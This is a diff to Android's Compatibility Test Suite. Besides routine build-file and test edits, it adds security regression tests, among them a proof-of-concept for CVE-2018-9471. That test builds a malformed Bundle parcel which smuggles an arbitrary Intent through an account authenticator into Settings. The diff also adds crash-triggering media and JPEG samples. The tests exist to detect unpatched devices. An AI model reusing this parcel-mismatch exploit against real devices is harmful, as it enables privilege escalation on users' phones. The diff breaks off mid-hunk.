diff --git a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
index e38cfd2..63c2a14 100644
--- a/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageNotIsolatedWithSharedUid/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
index a8c8d1a..50ac715 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedSdk28WithSharedUid/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
index 14087ec..78068f9 100644
--- a/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsLegacyStorageRestrictedWithSharedUid/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
index 9d859bc..35ab9e4 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk22/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ],
 
     // TODO: Uncomment when uncommenting the test
diff --git a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
index ed0f872..3804b92 100644
--- a/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsLocationPermissionsUserSdk29/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ],
 
     // TODO: Uncomment when uncommenting the test
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
index 402c57b..0fe3599 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk22/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ],
 
     // TODO: Uncomment when uncommenting the test
diff --git a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
index 9d4ab2a..a0189ad 100644
--- a/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
+++ b/tests/tests/permission2/CtsSMSCallLogPermissionsUserSdk29/Android.bp
@@ -24,6 +24,7 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ],
 
     // TODO: Uncomment when uncommenting the test
diff --git a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
index 591fdbc..9806571 100644
--- a/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSNotRestrictedWithSharedUid/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
index 71ebd69..ec6d128 100644
--- a/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
+++ b/tests/tests/permission2/CtsSMSRestrictedWithSharedUid/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
index 26cfff85..f63f14a 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk22/Android.bp
@@ -22,5 +22,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
index b4114dc..be2761a 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk28/Android.bp
@@ -22,5 +22,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
index 8af2212..eb77c12 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserDefaultSdk29/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
index 045a26f..b7f40bf 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk22/Android.bp
@@ -22,5 +22,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
index fb36759..63062c1 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptInSdk28/Android.bp
@@ -22,5 +22,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
index 4b57927..9d6a481 100644
--- a/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
+++ b/tests/tests/permission2/CtsStoragePermissionsUserOptOutSdk29/Android.bp
@@ -24,5 +24,6 @@
         "cts",
         "vts",
         "general-tests",
+        "cts_instant",
     ]
 }
\ No newline at end of file
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
index a343c76..ec78a94 100644
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
+++ b/tests/tests/provider/src/android/provider/cts/MediaStore_Images_MediaTest.java
@@ -219,18 +219,13 @@
 
     @Test
     public void testStoreImagesMediaExternal() throws Exception {
-        final String externalPath = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "testimage.jpg").getAbsolutePath();
-        final String externalPath2 = new File(ProviderTestUtils.stageDir(mVolumeName),
-                "testimage1.jpg").getAbsolutePath();
+        final File dir = ProviderTestUtils.stageDir(mVolumeName);
+        final File file = ProviderTestUtils.stageFile(R.raw.scenery,
+                new File(dir, "cts" + System.nanoTime() + ".jpg"));
 
-        // clean up any potential left over entries from a previous aborted run
-        cleanExternalMediaFile(externalPath);
-        cleanExternalMediaFile(externalPath2);
+        final String externalPath = file.getAbsolutePath();
+        final long numBytes = file.length();
 
-        int numBytes = 1337;
-        File file = new File(externalPath);
-        FileUtils.createFile(file, numBytes);
         ProviderTestUtils.waitUntilExists(file);
 
         ContentValues values = new ContentValues();
@@ -242,7 +237,7 @@
         values.put(Media.IS_PRIVATE, 1);
         values.put(Media.MINI_THUMB_MAGIC, 0);
         values.put(Media.DATA, externalPath);
-        values.put(Media.DISPLAY_NAME, "testimage");
+        values.put(Media.DISPLAY_NAME, file.getName());
         values.put(Media.MIME_TYPE, "image/jpeg");
         values.put(Media.SIZE, numBytes);
         values.put(Media.TITLE, "testimage");
@@ -270,7 +265,7 @@
             assertEquals(1, c.getInt(c.getColumnIndex(Media.IS_PRIVATE)));
             assertEquals(0, c.getLong(c.getColumnIndex(Media.MINI_THUMB_MAGIC)));
             assertEquals(externalPath, c.getString(c.getColumnIndex(Media.DATA)));
-            assertEquals("testimage.jpg", c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
+            assertEquals(file.getName(), c.getString(c.getColumnIndex(Media.DISPLAY_NAME)));
             assertEquals("image/jpeg", c.getString(c.getColumnIndex(Media.MIME_TYPE)));
             assertEquals("testimage", c.getString(c.getColumnIndex(Media.TITLE)));
             assertEquals(numBytes, c.getInt(c.getColumnIndex(Media.SIZE)));
diff --git a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
index 8142efe..e80e393 100644
--- a/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
+++ b/tests/tests/provider/src/android/provider/cts/SettingsPanelTest.java
@@ -124,43 +124,6 @@
     }
 
     @Test
-    public void internetPanel_correctTitle() {
-        launchInternetPanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
-
-        assertThat(titleView.getText()).isEqualTo("Internet Connectivity");
-    }
-
-    @Test
-    public void volumePanel_correctTitle() {
-        launchVolumePanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
-
-        assertThat(titleView.getText()).isEqualTo("Volume");
-    }
-
-    @Test
-    public void nfcPanel_correctTitle() {
-        launchNfcPanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
-
-        assertThat(titleView.getText()).isEqualTo("NFC");
-    }
-
-    @Test
-    public void wifiPanel_correctTitle() {
-        launchWifiPanel();
-
-        final UiObject2 titleView = mDevice.findObject(By.res(mSettingsPackage, RESOURCE_TITLE));
-
-        // title must be "Wi\u2011Fi" or "WLAN"
-        assertThat(titleView.getText()).isIn(Arrays.asList("Wi\u2011Fi", "WLAN"));
-    }
-
-    @Test
     public void internetPanel_doneClosesPanel() {
         // Launch panel
         launchInternetPanel();
diff --git a/tests/tests/security/AndroidManifest.xml b/tests/tests/security/AndroidManifest.xml
index b2412f69..5da74a8 100644
--- a/tests/tests/security/AndroidManifest.xml
+++ b/tests/tests/security/AndroidManifest.xml
@@ -49,6 +49,36 @@
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
+
+        <activity
+            android:name="android.security.cts.NanoAppBundleTest$FailActivity"
+            android:label="Test Nano AppBundle customized failure catch activity">
+            <intent-filter>
+                <action android:name="android.intent.action.RUN" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+
+        <service
+            android:name="android.security.cts.NanoAppBundleTest$AuthenticatorService"
+            android:enabled="true"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.accounts.AccountAuthenticator" />
+            </intent-filter>
+            <meta-data
+                android:name="android.accounts.AccountAuthenticator"
+                android:resource="@xml/authenticator" />
+        </service>
+
+        <activity
+            android:name="android.security.cts.SkiaJpegDecodingActivity"
+            android:label="Test overflow in libskia JPG processing">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg b/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg
new file mode 100644
index 0000000..f63f6ef
--- /dev/null
+++ b/tests/tests/security/res/drawable/signal_sigsegv_in_jmem_ashmem.jpg
Binary files differ
diff --git a/tests/tests/security/res/layout/activity_skiajpegdecoding.xml b/tests/tests/security/res/layout/activity_skiajpegdecoding.xml
new file mode 100644
index 0000000..68a0d68
--- /dev/null
+++ b/tests/tests/security/res/layout/activity_skiajpegdecoding.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="fill_parent"
+    android:layout_height="fill_parent"
+    android:gravity="center"
+    android:orientation="vertical">
+
+    <ImageView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:src="@drawable/signal_sigsegv_in_jmem_ashmem"
+        />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/security/res/raw/cve_2019_2129.3gp b/tests/tests/security/res/raw/cve_2019_2129.3gp
new file mode 100644
index 0000000..c461081
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2129.3gp
Binary files differ
diff --git a/tests/tests/security/res/raw/cve_2019_2327.mkv b/tests/tests/security/res/raw/cve_2019_2327.mkv
new file mode 100644
index 0000000..48a8559
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2019_2327.mkv
Binary files differ
diff --git a/tests/tests/security/res/xml/authenticator.xml b/tests/tests/security/res/xml/authenticator.xml
new file mode 100644
index 0000000..9096201
--- /dev/null
+++ b/tests/tests/security/res/xml/authenticator.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<account-authenticator
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:accountType="android.security.cts"
+    android:label="AuthenticatorTest" />
\ No newline at end of file
diff --git a/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
new file mode 100644
index 0000000..4f7dffc
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/NanoAppBundleTest.java
@@ -0,0 +1,359 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.test.AndroidTestCase;
+import android.platform.test.annotations.SecurityTest;
+import androidx.test.InstrumentationRegistry;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.ContextWrapper;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.ApplicationInfo;
+
+import android.app.Activity;
+import android.app.ActivityManager;
+import android.app.Service;
+
+import android.provider.Settings;
+import android.accounts.AbstractAccountAuthenticator;
+import android.accounts.Account;
+import android.accounts.AccountAuthenticatorResponse;
+import android.accounts.AccountManager;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Parcel;
+import android.os.Parcelable;
+import android.os.SystemClock;
+
+import android.util.Log;
+import android.annotation.Nullable;
+import static java.lang.Thread.sleep;
+import static org.junit.Assert.assertTrue;
+
+@SecurityTest
+public class NanoAppBundleTest extends AndroidTestCase {
+
+    private static final String TAG = "NanoAppBundleTest";
+    private static final String SECURITY_CTS_PACKAGE_NAME = "android.security.cts";
+
+    private ServiceConnection mServiceConnection =
+        new ServiceConnection() {
+
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder binder) {
+                Log.i(TAG, "Authenticator service " + name + " is connected");
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                Log.i(TAG, "Authenticator service " + name + "died abruptly");
+            }
+        };
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
+        mContext.startService(serviceIntent);
+        mContext.bindService(serviceIntent, mServiceConnection, Context.BIND_AUTO_CREATE);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mContext != null) {
+            Intent serviceIntent = new Intent(mContext, AuthenticatorService.class);
+            mContext.stopService(serviceIntent);
+        }
+        super.tearDown();
+    }
+
+    /**
+     * b/113527124
+     */
+    @SecurityTest(minPatchLevel = "2018-09")
+    public void testPoc_cve_2018_9471() throws Exception {
+
+        try {
+            mContext = InstrumentationRegistry.getInstrumentation().getContext();
+            new NanoAppBundleTest.Trigger(mContext).anyAction();
+            //  against vulnerable bits, the failure will get caught right after trigger.
+            //  against patched bits, 1 minute wait to snap the test
+            Thread.sleep(60_000);
+        } catch(InterruptedException ignored) {
+            Log.i(TAG, "swallow interrupted exception");
+        }
+    }
+
+    public static class Trigger {
+        private static final String TAG = "Trigger";
+        private Context mContext;
+
+        public Trigger(Context context) {
+            mContext = context;
+        }
+
+        private void trigger() {
+            Log.i(TAG, "start...");
+
+            Intent intent = new Intent();
+            intent.setComponent(new ComponentName(
+                    "com.android.settings",
+                    "com.android.settings.accounts.AddAccountSettings"));
+            intent.setAction(Intent.ACTION_RUN);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            String authTypes[] = { SECURITY_CTS_PACKAGE_NAME };
+            intent.putExtra("account_types", authTypes);
+
+            mContext.startActivity(intent);
+
+            Log.i(TAG, "finsihed.");
+        }
+
+        public void anyAction() {
+            Log.i(TAG, "Arbitrary action starts...");
+
+            Intent intent = new Intent();
+
+            intent.setComponent(new ComponentName(
+                "android.security.cts",
+                "android.security.cts.NanoAppBundleTest$FailActivity"));
+            intent.setAction(Intent.ACTION_RUN);
+            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+
+            Authenticator.setIntent(intent);
+
+            trigger();
+
+            Log.i(TAG, "Arbitrary action finished.");
+        }
+    }
+
+    //  customized activity
+    public static class FailActivity extends Activity {
+
+        @Override
+        protected void onCreate(Bundle onSavedInstanceState) {
+            super.onCreate(onSavedInstanceState);
+
+            fail("Arbitrary intent executed");
+        }
+    }
+
+    //
+    //  Authenticator class
+    //
+    public static class Authenticator extends AbstractAccountAuthenticator {
+
+        private static final String TAG = "Authenticator";
+
+        //  mAddAccountDone : flag set to check if the buggy part is got run
+        private boolean mAddAccountDone;
+        public boolean isAddAccountDone() {
+            return mAddAccountDone;
+        }
+        public void setAddAccountDone(boolean isDone) {
+            mAddAccountDone = isDone;
+        }
+
+        //  mAuthContext
+        private static Context mAuthContext;
+        public static Context getAuthContext() {
+            return mAuthContext;
+        }
+
+        //  mIntent : set from Trigger or setPIN
+        private static Intent mIntent;
+        public static Intent getIntent() {
+            return mIntent;
+        }
+        public static void setIntent(Intent intent) {
+            mIntent = intent;
+        }
+
+        //  Authenticator ctor
+        public Authenticator(Context context) {
+            super(context);
+            setAddAccountDone(false);
+            Authenticator.mAuthContext = context;
+        }
+
+        @Override
+        public String getAuthTokenLabel(String authTokenType) {
+            return null;
+        }
+
+        @Override
+        public Bundle editProperties(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                     String accountType) {
+            return null;
+        }
+
+        @Override
+        public Bundle getAuthToken(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                   Account account,
+                                   String authTokenType,
+                                   Bundle bundle) {
+            return null;
+        }
+
+        @Override
+        public Bundle addAccount(AccountAuthenticatorResponse response,
+                                 String accountType,
+                                 String authTokenType,
+                                 String[] requiredFeatures,
+                                 Bundle options) {
+            try {
+                Log.i(TAG, String.format("addAccount start...accountType = %s, authTokenType = %s",
+                                    accountType, authTokenType));
+                Bundle bundle = new Bundle();
+                Parcel parcel = GenMalformedParcel.nanoAppFilterParcel(mIntent);
+                bundle.readFromParcel(parcel);
+                parcel.recycle();
+                setAddAccountDone(true);
+                Log.i(TAG, "addAccount finished");
+                return bundle;
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+            return null;
+        }
+
+        @Override
+        public Bundle confirmCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                         Account account,
+                                         Bundle bundle) {
+            return null;
+        }
+
+        @Override
+        public Bundle updateCredentials(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                        Account account,
+                                        String authTokenType,
+                                        Bundle bundle) {
+            return null;
+        }
+
+        @Override
+        public Bundle hasFeatures(AccountAuthenticatorResponse accountAuthenticatorResponse,
+                                  Account account,
+                                  String[] features) {
+            return null;
+        }
+    }
+
+    //
+    //  AuthenticatorService
+    //
+    public static class AuthenticatorService extends Service {
+
+        private static final String TAG = "AuthenticatorService";
+
+        private Authenticator mAuthenticator;
+        public Authenticator getAuthenticator() {
+            return mAuthenticator;
+        }
+
+        private IBinder mBinder;
+        public IBinder getServiceBinder() {
+            return mBinder;
+        }
+
+        public AuthenticatorService() {
+        }
+
+        @Override
+        public void onCreate() {
+            super.onCreate();
+            //  critical:here have to pass the service context to authenticator, not mContext
+            Log.i(TAG, "creating...");
+            mAuthenticator = new Authenticator(this);
+        }
+
+        @Override
+        public IBinder onBind(Intent intent) {
+            try {
+                Log.i(TAG, "Bind starting...");
+                IBinder binder = mAuthenticator.getIBinder();
+                mBinder = binder;
+                Log.i(TAG, "Bind finished.");
+                return binder;
+            } catch (Exception e) {
+                Log.i(TAG, "Bind exception");
+                e.printStackTrace();
+            }
+            return null;
+        }
+    }
+
+    //
+    //  GenMalformedParcel
+    //
+    public static class GenMalformedParcel {
+
+        public static Parcel nanoAppFilterParcel(Intent intent) {
+            Parcel data = Parcel.obtain();
+            int bundleLenPos = data.dataPosition();
+            data.writeInt(0xffffffff);
+            data.writeInt(0x4C444E42);
+            int bundleStartPos = data.dataPosition();
+            data.writeInt(3);
+
+            data.writeString(SECURITY_CTS_PACKAGE_NAME);
+            data.writeInt(4);
+            data.writeString("android.hardware.location.NanoAppFilter");
+            data.writeLong(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(13);
+
+            int byteArrayLenPos = data.dataPosition();
+            data.writeInt(0xffffffff);
+            int byteArrayStartPos = data.dataPosition();
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeInt(0);
+            data.writeString(AccountManager.KEY_INTENT);
+            data.writeInt(4);
+            data.writeString("android.content.Intent");
+            intent.writeToParcel(data, 0);
+            int byteArrayEndPos = data.dataPosition();
+            data.setDataPosition(byteArrayLenPos);
+            int byteArrayLen = byteArrayEndPos - byteArrayStartPos;
+            data.writeInt(byteArrayLen);
+            data.setDataPosition(byteArrayEndPos);
+
+            int bundleEndPos = data.dataPosition();
+            data.setDataPosition(bundleLenPos);
+            int bundleLen = bundleEndPos - bundleStartPos;
+            data.writeInt(bundleLen);
+            data.setDataPosition(0);
+
+            return data;
+        }
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
new file mode 100644
index 0000000..8289784
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingActivity.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+import android.security.cts.R;
+
+public class SkiaJpegDecodingActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java
new file mode 100644
index 0000000..55525e0
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java
@@ -0,0 +1,59 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.app.Activity;
+import android.test.ActivityInstrumentationTestCase2;
+
+public class SkiaJpegDecodingTest extends
+        ActivityInstrumentationTestCase2<SkiaJpegDecodingActivity> {
+    private Activity mActivity;
+
+    public SkiaJpegDecodingTest() {
+        super(SkiaJpegDecodingActivity.class);
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mActivity = getActivity();
+        assertNotNull("Failed to get the activity instance", mActivity);
+    }
+
+    public void testLibskiaOverFlowJpegProcessing() {
+      // When this is run on a vulnerable build the app will have a native crash
+      // which will fail the test. When it is run on a non-vulnerable build we may
+      // get a java-level exception, indicating that the error was handled properly
+      mActivity.runOnUiThread(new Runnable() {
+          public void run() {
+            try {
+              mActivity.setContentView(R.layout.activity_skiajpegdecoding);
+            } catch (android.view.InflateException e) {
+              return;
+            }
+          }
+        });
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mActivity != null) {
+            mActivity.finish();
+        }
+        super.tearDown();
+    }
+}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 5539a50..20c7632 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -78,6 +78,7 @@
 import android.security.cts.R;
 
 import android.security.NetworkSecurityPolicy;
+import android.media.TimedText;
 
 /**
  * Verify that the device is not vulnerable to any known Stagefright
@@ -110,17 +111,17 @@
 
     @SecurityTest(minPatchLevel = "2016-08")
     public void testStagefright_cve_2016_3829() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_3829);
+        doStagefrightTest(R.raw.cve_2016_3829, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_cve_2017_0643() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0643);
+        doStagefrightTest(R.raw.cve_2017_0643, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_cve_2017_0728() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0728);
+        doStagefrightTest(R.raw.cve_2017_0728, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-10")
@@ -160,7 +161,7 @@
 
     @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_35763994() throws Exception {
-        doStagefrightTest(R.raw.bug_35763994);
+        doStagefrightTest(R.raw.bug_35763994, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-03")
@@ -170,7 +171,7 @@
 
     @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2016_2507() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2507);
+        doStagefrightTest(R.raw.cve_2016_2507, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-03")
@@ -265,13 +266,13 @@
 
     @SecurityTest(minPatchLevel = "2017-02")
     public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2429_b_27211885);
+        doStagefrightTest(R.raw.cve_2016_2429_b_27211885, false);
     }
 
     @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_34031018() throws Exception {
-        doStagefrightTest(R.raw.bug_34031018_32bit);
-        doStagefrightTest(R.raw.bug_34031018_64bit);
+        doStagefrightTest(R.raw.bug_34031018_32bit, false);
+        doStagefrightTest(R.raw.bug_34031018_64bit, false);
     }
 
     /***********************************************************
@@ -296,7 +297,7 @@
 
     @SecurityTest(minPatchLevel = "2018-01")
     public void testStagefright_cve_2017_0852_b_62815506() throws Exception {
-        doStagefrightTest(R.raw.cve_2017_0852_b_62815506);
